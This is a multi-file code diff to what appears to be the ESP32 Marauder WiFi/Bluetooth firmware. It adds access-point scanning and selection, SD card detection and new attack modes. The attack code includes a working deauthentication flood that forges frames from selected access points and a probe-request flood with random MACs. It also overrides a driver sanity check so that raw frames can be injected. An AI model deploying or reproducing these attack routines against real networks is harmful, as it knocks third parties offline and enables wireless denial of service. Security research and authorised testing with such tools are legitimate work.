//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
{
@@ -983,6 +1085,7 @@ void MenuFunctions::RunSetup()
shutdownBLEMenu.list = new LinkedList<MenuNode>();
generateSSIDsMenu.list = new LinkedList<MenuNode>();
clearSSIDsMenu.list = new LinkedList<MenuNode>();
clearAPsMenu.list = new LinkedList<MenuNode>();
// Work menu names
mainMenu.name = " ESP32 Marauder ";
@@ -1006,6 +1109,7 @@ void MenuFunctions::RunSetup()
shutdownBLEMenu.name = " Shutdown BLE ";
generateSSIDsMenu.name = " Generate SSIDs ";
clearSSIDsMenu.name = " Clear SSIDs ";
clearAPsMenu.name = " Clear APs ";
// Build Main Menu
@@ -1083,6 +1187,11 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
});
addNodes(&wifiSnifferMenu, "Scan APs", TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
});
// Build WiFi attack menu
wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
@@ -1104,6 +1213,21 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
});
addNodes(&wifiAttackMenu, "Probe Req Flood", TFT_RED, NULL, PROBE_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
});
addNodes(&wifiAttackMenu, "Deauth Flood", TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
});
//addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
// display_obj.clearScreen();
// this->drawStatusBar();
// wifi_scan_obj.StartScan(WIFI_ATTACK_MIMIC, TFT_PURPLE);
//});
// Build WiFi General menu
wifiGeneralMenu.parentMenu = &wifiMenu;
@@ -1134,6 +1258,16 @@ void MenuFunctions::RunSetup()
changeMenu(&clearSSIDsMenu);
wifi_scan_obj.RunClearSSIDs();
});
addNodes(&wifiGeneralMenu, "Clear APs", TFT_DARKGREY, NULL, CLEAR_ICO, [this]() {
changeMenu(&clearAPsMenu);
wifi_scan_obj.RunClearAPs();
});
addNodes(&wifiGeneralMenu, "Select APs", TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
display_obj.clearScreen();
wifi_scan_obj.currentScanMode = LV_ADD_SSID;
wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
addAPGFX();
});
// Build shutdown wifi menu
shutdownWiFiMenu.parentMenu = &wifiGeneralMenu;
@@ -1152,6 +1286,10 @@ void MenuFunctions::RunSetup()
addNodes(&clearSSIDsMenu, "Back", TFT_LIGHTGREY, NULL, 0, [this]() {
changeMenu(clearSSIDsMenu.parentMenu);
});
clearAPsMenu.parentMenu = &wifiGeneralMenu;
addNodes(&clearAPsMenu, "Back", TFT_LIGHTGREY, NULL, 0, [this]() {
changeMenu(clearAPsMenu.parentMenu);
});
// Build Bluetooth Menu

View File

@@ -90,6 +90,7 @@ PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t e
PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
// lvgl stuff
@@ -125,7 +126,7 @@ class MenuFunctions
uint32_t initTime = 0;
Menu* current_menu;
//Menu* current_menu;
// Main menu stuff
Menu mainMenu;
@@ -158,6 +159,7 @@ class MenuFunctions
Menu shutdownBLEMenu;
Menu generateSSIDsMenu;
Menu clearSSIDsMenu;
Menu clearAPsMenu;
static void lv_tick_handler();
@@ -172,11 +174,12 @@ class MenuFunctions
void battery(bool initial = false);
void battery2(bool initial = false);
void showMenuList(Menu* menu, int layer);
void orientDisplay();
public:
MenuFunctions();
Menu* current_menu;
Ticker tick;
uint16_t x = -1, y = -1;
@@ -188,6 +191,7 @@ class MenuFunctions
void deinitLVGL();
void joinWiFiGFX();
void addSSIDGFX();
void addAPGFX();
void writeBadUSB();
void buildButtons(Menu* menu);
@@ -195,6 +199,7 @@ class MenuFunctions
void displayCurrentMenu();
void main(uint32_t currentTime);
void RunSetup();
void orientDisplay();
};

View File

@@ -2,6 +2,18 @@
bool SDInterface::initSD() {
String display_string = "";
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
this->supported = false;
return false;
}
#endif
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
@@ -167,11 +179,28 @@ void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
}
}
bool SDInterface::checkDetectPin() {
#ifdef KIT
if (digitalRead(SD_DET) == LOW)
return true;
else
return false;
#endif
return false;
}
void SDInterface::main() {
if ((this->supported) && (this->do_save)) {
//Serial.println("Saving packet...");
buffer_obj.forceSave(&SD);
}
else if (!this->supported) {
if (checkDetectPin()) {
delay(100);
this->initSD();
}
}
}
//void SDInterface::savePacket(uint8_t* buf, uint32_t len) {

View File

@@ -11,9 +11,14 @@ extern Display display_obj;
#define SD_CS 12
#ifdef KIT
#define SD_DET 4
#endif
class SDInterface {
private:
bool checkDetectPin();
public:
uint8_t cardType;

View File

@@ -69,7 +69,7 @@ void Web::setupOTAupdate()
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting softAP...");
esp_wifi_set_mac(ESP_IF_WIFI_AP, &newMACAddress[0]);
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
WiFi.softAP(ssid, password);
Serial.println("");

View File

@@ -9,6 +9,15 @@ int num_probe = 0;
int num_eapol = 0;
LinkedList<ssid>* ssids;
LinkedList<AccessPoint>* access_points;
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
//printf("Sanity check bypass called!: %d, %d, %d\n", arg, arg2, arg3);
if (arg == 31337)
return 1;
else
return 0;
}
class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
@@ -130,15 +139,33 @@ WiFiScan::WiFiScan()
{
}
/*int WiFiScan::ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
printf("Sanity check bypass called!\n");
return 0;
}*/
void WiFiScan::RunSetup() {
if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
this->wsl_bypass_enabled = true;
else
this->wsl_bypass_enabled = false;
ssids = new LinkedList<ssid>();
BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); //create new scan
access_points = new LinkedList<AccessPoint>();
NimBLEDevice::init("");
pBLEScan = NimBLEDevice::getScan(); //create new scan
this->ble_initialized = true;
this->shutdownBLE();
}
int WiFiScan::clearAPs() {
int num_cleared = access_points->size();
access_points->clear();
Serial.println("access_points: " + (String)access_points->size());
return num_cleared;
}
int WiFiScan::clearSSIDs() {
int num_cleared = ssids->size();
ssids->clear();
@@ -243,6 +270,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
RunEapolScan(scan_mode, color);
else if (scan_mode == WIFI_SCAN_AP)
RunBeaconScan(scan_mode, color);
else if (scan_mode == WIFI_SCAN_TARGET_AP)
RunAPScan(scan_mode, color);
else if (scan_mode == WIFI_SCAN_PWN)
RunPwnScan(scan_mode, color);
else if (scan_mode == WIFI_SCAN_DEAUTH)
@@ -250,11 +279,20 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
else if (scan_mode == WIFI_PACKET_MONITOR)
RunPacketMonitor(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
RunBeaconList(scan_mode, color);
this->startWiFiAttacks(scan_mode, color, " Beacon Spam List ");
//RunBeaconList(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
RunBeaconSpam(scan_mode, color);
this->startWiFiAttacks(scan_mode, color, " Beacon Spam Random ");
//RunBeaconSpam(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
RunRickRoll(scan_mode, color);
this->startWiFiAttacks(scan_mode, color, " Rick Roll Beacon ");
//RunRickRoll(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_AUTH)
this->startWiFiAttacks(scan_mode, color, " Probe Flood ");
//RunProbeFlood(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_DEAUTH)
this->startWiFiAttacks(scan_mode, color, " Deauth Flood ");
//RunDeauthFlood(scan_mode, color);
else if (scan_mode == BT_SCAN_ALL)
RunBluetoothScan(scan_mode, color);
else if (scan_mode == BT_SCAN_SKIMMERS)
@@ -269,6 +307,35 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
WiFiScan::currentScanMode = scan_mode;
}
void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
// Common wifi attack configurations
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
display_obj.print_delay_2 = 10;
//display_obj.clearScreen();
display_obj.initScrollValues(true);
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_BLACK, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString((String)title_string,120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
packets_sent = 0;
//esp_wifi_set_mode(WIFI_MODE_STA);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_set_mode(WIFI_AP_STA);
esp_wifi_start();
esp_wifi_set_promiscuous_filter(NULL);
esp_wifi_set_promiscuous(true);
esp_wifi_set_max_tx_power(78);
this->wifi_initialized = true;
initTime = millis();
}
bool WiFiScan::shutdownWiFi() {
if (this->wifi_initialized) {
Serial.println("Ahhh yes...promiscuity will end");
@@ -322,6 +389,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
{
if ((currentScanMode == WIFI_SCAN_PROBE) ||
(currentScanMode == WIFI_SCAN_AP) ||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
(currentScanMode == WIFI_SCAN_PWN) ||
(currentScanMode == WIFI_SCAN_ESPRESSIF) ||
(currentScanMode == WIFI_SCAN_EAPOL) ||
@@ -329,6 +397,9 @@ void WiFiScan::StopScan(uint8_t scan_mode)
(currentScanMode == WIFI_SCAN_DEAUTH) ||
(currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
(currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
(currentScanMode == WIFI_ATTACK_AUTH) ||
(currentScanMode == WIFI_ATTACK_DEAUTH) ||
(currentScanMode == WIFI_ATTACK_MIMIC) ||
(currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
(currentScanMode == WIFI_PACKET_MONITOR) ||
(currentScanMode == LV_JOIN_WIFI))
@@ -377,7 +448,7 @@ String WiFiScan::getStaMAC()
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
esp_err_t mac_status = esp_wifi_get_mac(ESP_IF_WIFI_STA, mac);
esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
this->wifi_initialized = true;
sprintf(macAddrChr,
"%02X:%02X:%02X:%02X:%02X:%02X",
@@ -401,7 +472,7 @@ String WiFiScan::getApMAC()
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
esp_err_t mac_status = esp_wifi_get_mac(ESP_IF_WIFI_AP, mac);
esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
this->wifi_initialized = true;
sprintf(macAddrChr,
"%02X:%02X:%02X:%02X:%02X:%02X",
@@ -419,11 +490,44 @@ String WiFiScan::getApMAC()
String WiFiScan::freeRAM()
{
char s[150];
sprintf(s, "RAM Free: %u bytes", system_get_free_heap_size());
this->free_ram = String(system_get_free_heap_size());
sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
this->free_ram = String(esp_get_free_heap_size());
return String(s);
}
// Function to start running a beacon scan
void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
{
sd_obj.openCapture("ap");
Serial.println("Clearing APs: " + (String)access_points->size());
//access_points->clear();
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
display_obj.print_delay_2 = 10;
//display_obj.clearScreen();
display_obj.initScrollValues(true);
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_WHITE, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString(" AP Scan ",120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_filter(&filt);
esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
this->wifi_initialized = true;
initTime = millis();
}
void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
display_obj.tft.init();
@@ -446,6 +550,17 @@ void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
//display_obj.joinWiFiGFX();
}
void WiFiScan::RunClearAPs() {
display_obj.tft.setTextWrap(false);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_CYAN);
display_obj.tft.println(F("Clearing APs..."));
display_obj.tft.println("APs Cleared: " + (String)this->clearAPs());
}
void WiFiScan::RunClearSSIDs() {
display_obj.tft.setTextWrap(false);
display_obj.tft.setFreeFont(NULL);
@@ -531,6 +646,13 @@ void WiFiScan::RunInfo()
display_obj.tft.setTextColor(TFT_CYAN);
display_obj.tft.println(" Firmware: Marauder");
display_obj.tft.println(" Version: " + display_obj.version_number + "\n");
display_obj.tft.println(" ESP-IDF: " + (String)esp_get_idf_version());
if (this->wsl_bypass_enabled)
display_obj.tft.println(" WSL Bypass: enabled\n");
else
display_obj.tft.println(" WSL Bypass: disabled\n");
display_obj.tft.println(" Station MAC: " + sta_mac);
display_obj.tft.println(" AP MAC: " + ap_mac);
display_obj.tft.println(" " + free_ram);
@@ -679,6 +801,7 @@ void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
initTime = millis();
}
/*
void WiFiScan::RunRickRoll(uint8_t scan_mode, uint16_t color)
{
//Serial.println("Rick Roll...");
@@ -705,9 +828,10 @@ void WiFiScan::RunRickRoll(uint8_t scan_mode, uint16_t color)
initTime = millis();
//display_obj.clearScreen();
//Serial.println("End of func");
}
}*/
// Function to prepare for beacon list
/*
void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color) {
sd_obj.openCapture("beacon_list");
@@ -736,11 +860,11 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color) {
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
this->wifi_initialized = true;
initTime = millis();
}
/*
void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
{
//Serial.println("Beacon list...");
}*/
// Function to prepare for beacon mimic
void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
@@ -750,7 +874,7 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_BLACK, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString(" Beacon Spam List ",120,16,2);
display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
packets_sent = 0;
@@ -769,9 +893,72 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
//display_obj.clearScreen();
//Serial.println("End of func");
}
*/
// Function to prepare for beacon spam
/*
void WiFiScan::RunProbeFlood(uint8_t scan_mode, uint16_t color) {
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
display_obj.print_delay_2 = 10;
//display_obj.clearScreen();
display_obj.initScrollValues(true);
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_BLACK, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString(" Auth Flood ",120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
packets_sent = 0;
//esp_wifi_set_mode(WIFI_MODE_STA);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_set_mode(WIFI_AP_STA);
esp_wifi_start();
esp_wifi_set_promiscuous_filter(NULL);
esp_wifi_set_promiscuous(true);
esp_wifi_set_max_tx_power(78);
this->wifi_initialized = true;
initTime = millis();
//display_obj.clearScreen();
//Serial.println("End of func");
}*/
/*
void WiFiScan::RunDeauthFlood(uint8_t scan_mode, uint16_t color) {
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
display_obj.print_delay_2 = 10;
//display_obj.clearScreen();
display_obj.initScrollValues(true);
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_BLACK, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString(" Deauth Flood ",120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
packets_sent = 0;
//esp_wifi_set_mode(WIFI_MODE_STA);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_set_mode(WIFI_AP_STA);
esp_wifi_start();
esp_wifi_set_promiscuous_filter(NULL);
esp_wifi_set_promiscuous(true);
esp_wifi_set_max_tx_power(78);
this->wifi_initialized = true;
initTime = millis();
//display_obj.clearScreen();
//Serial.println("End of func");
}*/
// Function to prepare for beacon spam
/*
void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
{
//Serial.println("Beacon Spam...");
@@ -802,7 +989,7 @@ void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
initTime = millis();
//display_obj.clearScreen();
//Serial.println("End of func");
}
}*/
void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
{
@@ -949,9 +1136,9 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
Serial.println("BT Controller Status: " + (String)esp_bt_controller_get_status());
*/
BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); //create new scan
NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
NimBLEDevice::init("");
pBLEScan = NimBLEDevice::getScan(); //create new scan
if (scan_mode == BT_SCAN_ALL)
{
display_obj.TOP_FIXED_AREA_2 = 48;
@@ -965,7 +1152,7 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback());
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
//bluetoothScanAllCallback myCallbacks;
//pBLEScan->setAdvertisedDeviceCallbacks(&myCallbacks);
}
@@ -983,12 +1170,13 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
display_obj.twoPartDisplay("Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...");
display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback());
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
}
pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
pBLEScan->setInterval(100);
pBLEScan->setWindow(99); // less or equal setInterval value
pBLEScan->start(0, scanCompleteCB);
pBLEScan->setInterval(97);
pBLEScan->setWindow(37); // less or equal setInterval value
pBLEScan->setMaxResults(0);
pBLEScan->start(0, scanCompleteCB, false);
Serial.println("Started BLE Scan");
this->ble_initialized = true;
initTime = millis();
@@ -1177,6 +1365,118 @@ void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
}
}
void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
{
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
int len = snifferPacket->rx_ctrl.sig_len;
String display_string = "";
String essid = "";
String bssid = "";
if (type == WIFI_PKT_MGMT)
{
len -= 4;
int fctl = ntohs(frameControl->fctl);
const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
const WifiMgmtHdr *hdr = &ipkt->hdr;
// If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
{
char addr[] = "00:00:00:00:00:00";
getMAC(addr, snifferPacket->payload, 10);
bool in_list = false;
bool mac_match = true;
for (int i = 0; i < access_points->size(); i++) {
mac_match = true;
//Serial.print("Checking ");
//Serial.print(addr);
//Serial.println(" against " + (String)access_points->get(i).essid);
for (int x = 0; x < 6; x++) {
//Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
mac_match = false;
//Serial.println("MACs do not match");
break;
}
}
if (mac_match) {
in_list = true;
break;
}
}
if (!in_list) {
delay(random(0, 10));
Serial.print("RSSI: ");
Serial.print(snifferPacket->rx_ctrl.rssi);
Serial.print(" Ch: ");
Serial.print(snifferPacket->rx_ctrl.channel);
Serial.print(" BSSID: ");
Serial.print(addr);
display_string.concat(addr);
Serial.print(" ESSID: ");
display_string.concat(" -> ");
for (int i = 0; i < snifferPacket->payload[37]; i++)
{
Serial.print((char)snifferPacket->payload[i + 38]);
display_string.concat((char)snifferPacket->payload[i + 38]);
essid.concat((char)snifferPacket->payload[i + 38]);
}
bssid.concat(addr);
int temp_len = display_string.length();
for (int i = 0; i < 40 - temp_len; i++)
{
display_string.concat(" ");
}
Serial.print(" ");
if (display_obj.display_buffer->size() == 0)
{
display_obj.loading = true;
display_obj.display_buffer->add(display_string);
display_obj.loading = false;
}
if (essid == "") {
essid = bssid;
Serial.print(essid + " ");
}
AccessPoint ap = {essid,
snifferPacket->rx_ctrl.channel,
{snifferPacket->payload[10],
snifferPacket->payload[11],
snifferPacket->payload[12],
snifferPacket->payload[13],
snifferPacket->payload[14],
snifferPacket->payload[15]},
false};
access_points->add(ap);
Serial.print(access_points->size());
Serial.println();
sd_obj.addPacket(snifferPacket->payload, len);
}
}
}
}
void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
{
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
@@ -1615,6 +1915,139 @@ void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
//Serial.println("Sent packets");
}
// Function to send probe flood to all "active" access points
void WiFiScan::sendProbeAttack(uint32_t currentTime) {
// Itterate through all access points in list
for (int i = 0; i < access_points->size(); i++) {
// Check if active
if (access_points->get(i).selected) {
this->set_channel = access_points->get(i).channel;
esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
delay(1);
// Build packet
// Randomize SRC MAC
prob_req_packet[10] = random(256);
prob_req_packet[11] = random(256);
prob_req_packet[12] = random(256);
prob_req_packet[13] = random(256);
prob_req_packet[14] = random(256);
prob_req_packet[15] = random(256);
/*
prob_req_packet[10] = 0xde;
prob_req_packet[11] = 0xad;
prob_req_packet[12] = 0xbe;
prob_req_packet[13] = 0xef;
prob_req_packet[14] = 0xde;
prob_req_packet[15] = 0xad;
*/
// Set dest
//assoc_packet[4] = access_points->get(i).bssid[0];
//assoc_packet[5] = access_points->get(i).bssid[1];
//assoc_packet[6] = access_points->get(i).bssid[2];
//assoc_packet[7] = access_points->get(i).bssid[3];
//assoc_packet[8] = access_points->get(i).bssid[4];
//assoc_packet[9] = access_points->get(i).bssid[5];
// Set det No. 2
//assoc_packet[16] = access_points->get(i).bssid[0];
//assoc_packet[17] = access_points->get(i).bssid[1];
//assoc_packet[18] = access_points->get(i).bssid[2];
//assoc_packet[19] = access_points->get(i).bssid[3];
//assoc_packet[20] = access_points->get(i).bssid[4];
//assoc_packet[21] = access_points->get(i).bssid[5];
// Set SSID length
int ssidLen = access_points->get(i).essid.length();
//int rand_len = sizeof(rand_reg);
int fullLen = ssidLen;
prob_req_packet[25] = fullLen;
// Insert ESSID
char buf[access_points->get(i).essid.length() + 1] = {};
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
for(int i = 0; i < ssidLen; i++)
prob_req_packet[26 + i] = buf[i];
/*
* 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
*/
uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00};
uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
for (int i = 0; i < 26 + fullLen; i++)
good_probe_req_packet[i] = prob_req_packet[i];
for(int i = 0; i < 40; i++)
good_probe_req_packet[26 + fullLen + i] = postSSID[i];
// Send packet
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
packets_sent = packets_sent + 3;
}
}
}
void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
// Itterate through all access points in list
for (int i = 0; i < access_points->size(); i++) {
// Check if active
if (access_points->get(i).selected) {
this->set_channel = access_points->get(i).channel;
esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
delay(1);
// Build packet
deauth_frame_default[10] = access_points->get(i).bssid[0];
deauth_frame_default[11] = access_points->get(i).bssid[1];
deauth_frame_default[12] = access_points->get(i).bssid[2];
deauth_frame_default[13] = access_points->get(i).bssid[3];
deauth_frame_default[14] = access_points->get(i).bssid[4];
deauth_frame_default[15] = access_points->get(i).bssid[5];
deauth_frame_default[16] = access_points->get(i).bssid[0];
deauth_frame_default[17] = access_points->get(i).bssid[1];
deauth_frame_default[18] = access_points->get(i).bssid[2];
deauth_frame_default[19] = access_points->get(i).bssid[3];
deauth_frame_default[20] = access_points->get(i).bssid[4];
deauth_frame_default[21] = access_points->get(i).bssid[5];
// Send packet
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
packets_sent = packets_sent + 3;
}
}
}
void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
{
@@ -2237,6 +2670,13 @@ void WiFiScan::channelHop()
delay(1);
}
char* WiFiScan::stringToChar(String string) {
char buf[string.length() + 1] = {};
string.toCharArray(buf, string.length() + 1);
return buf;
}
// Function for updating scan status
void WiFiScan::main(uint32_t currentTime)
